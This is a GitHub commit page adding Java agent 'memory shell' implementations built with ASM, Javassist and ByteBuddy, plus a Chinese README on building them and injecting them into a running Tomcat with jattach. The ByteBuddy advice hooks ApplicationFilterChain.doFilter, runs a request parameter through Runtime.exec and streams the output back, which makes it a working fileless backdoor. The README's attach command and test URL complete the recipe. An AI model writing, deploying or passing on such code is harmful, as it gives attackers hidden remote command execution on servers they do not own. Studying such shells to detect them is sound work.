Skip to content

Commit 96b5384

Browse files
committed
feat: add three implementations for agent memshell
1 parent 8658fca commit 96b5384

File tree

8 files changed

+292
-54
lines changed

8 files changed

+292
-54
lines changed

bom/build.gradle

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ plugins {
44

55
dependencies {
66
constraints {
7-
api 'net.bytebuddy:byte-buddy:1.+'
7+
api 'net.bytebuddy:byte-buddy:1.17.5'
88
api 'org.ow2.asm:asm-commons:9.7.1'
99
api 'com.github.jar-analyzer:class-obf:1.5.0'
1010

memshell-agent/README.md

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
## Agent 内存马
2+
3+
### 实现原理
4+
5+
JDK1.5 提供了 JVMTI 接口供开发者扩展以查看 JVM 状态,或控制 JVM 代码执行。其中最重要的就是 `java.lang.instrument`,可以添加自定义的
6+
Transformer,来进行字节码修改。具体细节可查看 [JVM 源码分析之 javaagent 原理完全解读](https://www.infoq.cn/article/javaagent-illustrated)
7+
8+
JavaAgent 有两种入口:
9+
10+
1. 静态注入,MANIFEST 定义 Premain-Class 属性指定实现类,并且类中实现了
11+
`public static void premain(String args, Instrumentation inst)` 方法,在 Java 程序运行参数中添加
12+
`java -javaanget:/path/to/agent.jar -jar app.jar`,应用启动时,就会调用到 `premain` 方法执行字节码增强相关代码逻辑。
13+
2. 动态注入,MANIFEST 定义 Agent-Class 属性指定实现类,并且类中实现了
14+
`public static void agentmain(String args, Instrumentation inst)` 方法,在 Java 程序运行过程中,通过 attach 机制进行
15+
attach 时,会调用到 `agentmain` 方法执行字节码增强相关代码逻辑。
16+
17+
当一个 jar 包中 MANIFEST 定义如下时:
18+
19+
```text
20+
Premain-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
21+
Agent-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
22+
Can-Redefine-Classes: true
23+
Can-Retransform-Classes: true
24+
Can-Set-Native-Method-Prefix: true
25+
```
26+
27+
那么这个 Java Agent 既支持静态注入,也支持动态注入。
28+
29+
### 实现方式
30+
31+
> 目前提供了 Tomcat 最简单的命令回显 Agent 内存马实现方式
32+
33+
1. 基于
34+
ASM,[CommandFilterChainTransformer.java](memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
35+
2. 基于
36+
Javassist,[CommandFilterChainTransformer.java](memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
37+
3. 基于
38+
ByteBuddy,[CommandFilterChainTransformer.java](memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
39+
40+
### 如何使用
41+
42+
可以直接 IDEA 中的 Gradle,里面双击 memshell-agent 下的 Tasks 中 build 下的 jar 进行构建。
43+
44+
```bash
45+
## 进入项目根目录
46+
cd MemShellParty
47+
48+
## MacOs or Linux
49+
./gradlew :memshell-agent:jar
50+
51+
## Windows
52+
gradlew.bat :memshell-agent:jar
53+
```
54+
55+
构建结束,会在每个模块 build/libs/ 下生成 Jar 包,其中带 all 的为我们所需要用的包,例如:
56+
57+
- memshell-agent-asm/build/libs/memshell-agent-asm-1.0.0-all.jar
58+
- memshell-agent-javassist/build/libs/memshell-agent-javassist-1.0.0-all.jar
59+
- memshell-agent-bytebuddy/build/libs/memshell-agent-bytebuddy-1.0.0-all.jar
60+
61+
下载 [jattach](https://github.com/jattach/jattach/releases/latest) 攻击实施动态注入。
62+
63+
1. 启动你需要注入的 Tomcat
64+
2. 执行命令 `/path/to/jattach pid load instrument false /path/to/agent.jar`,注意,所有路径都使用绝对路径,不要使用相对路径
65+
3. 访问 `http://localhost:8080/app/?paramName=id` ,查看是否成功

memshell-agent/memshell-agent-asm/build.gradle

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,6 @@ java {
1616

1717
dependencies {
1818
implementation 'org.ow2.asm:asm-commons:9.7.1'
19-
implementation 'javax.servlet:javax.servlet-api:3.1.0'
2019
}
2120

2221
jar {
@@ -27,4 +26,6 @@ jar {
2726
attributes 'Can-Retransform-Classes': true
2827
attributes 'Can-Set-Native-Method-Prefix': true
2928
}
30-
}
29+
}
30+
31+
jar.finalizedBy shadowJar

memshell-agent/memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java

Lines changed: 45 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44

55
import java.lang.instrument.ClassFileTransformer;
66
import java.lang.instrument.Instrumentation;
7-
import java.lang.reflect.Method;
7+
import java.lang.instrument.UnmodifiableClassException;
88
import java.security.ProtectionDomain;
99

1010
/**
@@ -14,19 +14,51 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
1414

1515
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
1616

17-
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
18-
return new ClassVisitor(Opcodes.ASM9, cv) {
19-
@Override
20-
public MethodVisitor visitMethod(int access, String name, String descriptor,
21-
String signature, String[] exceptions) {
22-
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
23-
if ("doFilter".equals(name) &&
24-
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
25-
return new DoFilterMethodVisitor(mv);
26-
}
27-
return mv;
17+
@Override
18+
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
19+
ProtectionDomain protectionDomain, byte[] bytes) {
20+
if (TARGET_CLASS.equals(className)) {
21+
try {
22+
ClassReader cr = new ClassReader(bytes);
23+
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
24+
@Override
25+
protected ClassLoader getClassLoader() {
26+
return loader;
27+
}
28+
};
29+
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
30+
@Override
31+
public MethodVisitor visitMethod(int access, String name, String descriptor,
32+
String signature, String[] exceptions) {
33+
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
34+
if ("doFilter".equals(name) &&
35+
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) {
36+
return new DoFilterMethodVisitor(mv);
37+
}
38+
return mv;
39+
}
40+
};
41+
cr.accept(cv, ClassReader.EXPAND_FRAMES);
42+
return cw.toByteArray();
43+
} catch (Exception e) {
44+
e.printStackTrace();
45+
}
46+
}
47+
return bytes;
48+
}
49+
50+
public static void premain(String args, Instrumentation inst) {
51+
inst.addTransformer(new CommandFilterChainTransformer(), true);
52+
}
53+
54+
public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
55+
inst.addTransformer(new CommandFilterChainTransformer(), true);
56+
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
57+
String name = allLoadedClass.getName();
58+
if (TARGET_CLASS.replace("/", ".").equals(name)) {
59+
inst.retransformClasses(allLoadedClass);
2860
}
29-
};
61+
}
3062
}
3163

3264
private static class DoFilterMethodVisitor extends MethodVisitor {
@@ -178,32 +210,4 @@ public void visitCode() {
178210
}
179211
}
180212

181-
@Override
182-
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
183-
ProtectionDomain protectionDomain, byte[] bytes) {
184-
if (TARGET_CLASS.equals(className)) {
185-
try {
186-
ClassReader cr = new ClassReader(bytes);
187-
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
188-
Method getClassLoader = cw.getClass().getDeclaredMethod("getClassLoader");
189-
getClassLoader.setAccessible(true);
190-
System.out.println(getClassLoader.invoke(cw));
191-
ClassVisitor cv = CommandFilterChainTransformer.getClassVisitor(cw);
192-
cr.accept(cv, ClassReader.EXPAND_FRAMES);
193-
return cw.toByteArray();
194-
} catch (Exception e) {
195-
e.printStackTrace();
196-
}
197-
}
198-
return bytes;
199-
}
200-
201-
public static void premain(String args, Instrumentation inst) {
202-
inst.addTransformer(new CommandFilterChainTransformer(), true);
203-
}
204-
205-
public static void agentmain(String args, Instrumentation inst) {
206-
System.out.println(DoFilterMethodVisitor.class.getClassLoader());
207-
inst.addTransformer(new CommandFilterChainTransformer(), true);
208-
}
209213
}
Lines changed: 20 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,31 @@
11
plugins {
22
id 'java'
3+
id 'com.github.johnrengelman.shadow' version '8.1.1'
34
}
45

56
group = 'com.reajason.javaweb'
67
version = '1.0.0'
78

9+
java {
10+
toolchain {
11+
languageVersion = JavaLanguageVersion.of(8)
12+
}
13+
sourceCompatibility = JavaVersion.VERSION_1_6
14+
targetCompatibility = JavaVersion.VERSION_1_6
15+
}
816

917
dependencies {
10-
testImplementation platform('org.junit:junit-bom:5.10.0')
11-
testImplementation 'org.junit.jupiter:junit-jupiter'
18+
implementation 'net.bytebuddy:byte-buddy:1.17.5'
19+
}
20+
21+
jar {
22+
manifest {
23+
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
24+
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
25+
attributes 'Can-Redefine-Classes': true
26+
attributes 'Can-Retransform-Classes': true
27+
attributes 'Can-Set-Native-Method-Prefix': true
28+
}
1229
}
1330

14-
test {
15-
useJUnitPlatform()
16-
}
31+
jar.finalizedBy shadowJar
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
package com.reajason.javaweb.memshell.agent;
2+
3+
import net.bytebuddy.agent.builder.AgentBuilder;
4+
import net.bytebuddy.asm.Advice;
5+
import net.bytebuddy.description.type.TypeDescription;
6+
import net.bytebuddy.dynamic.DynamicType;
7+
import net.bytebuddy.matcher.ElementMatchers;
8+
import net.bytebuddy.utility.JavaModule;
9+
10+
import java.io.InputStream;
11+
import java.io.OutputStream;
12+
import java.lang.instrument.Instrumentation;
13+
import java.security.ProtectionDomain;
14+
15+
import static net.bytebuddy.matcher.ElementMatchers.named;
16+
17+
/**
18+
* @author ReaJason
19+
* @since 2025/4/2
20+
*/
21+
public class CommandFilterChainTransformer implements AgentBuilder.Transformer {
22+
23+
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
24+
public static boolean enter(
25+
@Advice.Argument(value = 0) Object request,
26+
@Advice.Argument(value = 1) Object response
27+
) {
28+
String paramName = "paramName";
29+
try {
30+
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
31+
if (cmd != null) {
32+
Process exec = Runtime.getRuntime().exec(cmd);
33+
InputStream inputStream = exec.getInputStream();
34+
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
35+
byte[] buf = new byte[8192];
36+
int length;
37+
while ((length = inputStream.read(buf)) != -1) {
38+
outputStream.write(buf, 0, length);
39+
}
40+
return true; // 此处返回 true 配合 skipOn = Advice.OnNonDefaultValue.class,即意为不再执行目标方法自带的代码,直接返回。
41+
}
42+
} catch (Exception ignored) {
43+
}
44+
return false; // 此处返回 false 配合 skipOn = Advice.OnNonDefaultValue.class,意为继续执行目标方法自带的代码。
45+
}
46+
47+
@Override
48+
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, ProtectionDomain protectionDomain) {
49+
return builder.visit(Advice.to(CommandFilterChainTransformer.class).on(named("doFilter")));
50+
}
51+
52+
public static void premain(String args, Instrumentation inst) throws Exception {
53+
launch(inst);
54+
}
55+
56+
public static void agentmain(String args, Instrumentation inst) throws Exception {
57+
launch(inst);
58+
}
59+
60+
private static void launch(Instrumentation inst) throws Exception {
61+
new AgentBuilder.Default()
62+
.ignore(ElementMatchers.none())
63+
.disableClassFormatChanges()
64+
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
65+
.with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
66+
.with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
67+
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
68+
.transform(new CommandFilterChainTransformer())
69+
.installOn(inst);
70+
}
71+
}
Lines changed: 21 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,31 @@
11
plugins {
22
id 'java'
3+
id 'com.github.johnrengelman.shadow' version '8.1.1'
34
}
45

56
group = 'com.reajason.javaweb'
67
version = '1.0.0'
78

9+
java {
10+
toolchain {
11+
languageVersion = JavaLanguageVersion.of(8)
12+
}
13+
sourceCompatibility = JavaVersion.VERSION_1_6
14+
targetCompatibility = JavaVersion.VERSION_1_6
15+
}
16+
817
dependencies {
9-
testImplementation platform('org.junit:junit-bom:5.10.0')
10-
testImplementation 'org.junit.jupiter:junit-jupiter'
18+
implementation 'org.javassist:javassist:3.30.2-GA'
19+
}
20+
21+
jar {
22+
manifest {
23+
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
24+
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
25+
attributes 'Can-Redefine-Classes': true
26+
attributes 'Can-Retransform-Classes': true
27+
attributes 'Can-Set-Native-Method-Prefix': true
28+
}
1129
}
1230

13-
test {
14-
useJUnitPlatform()
15-
}
31+
jar.finalizedBy shadowJar

0 commit comments

Comments
 (0)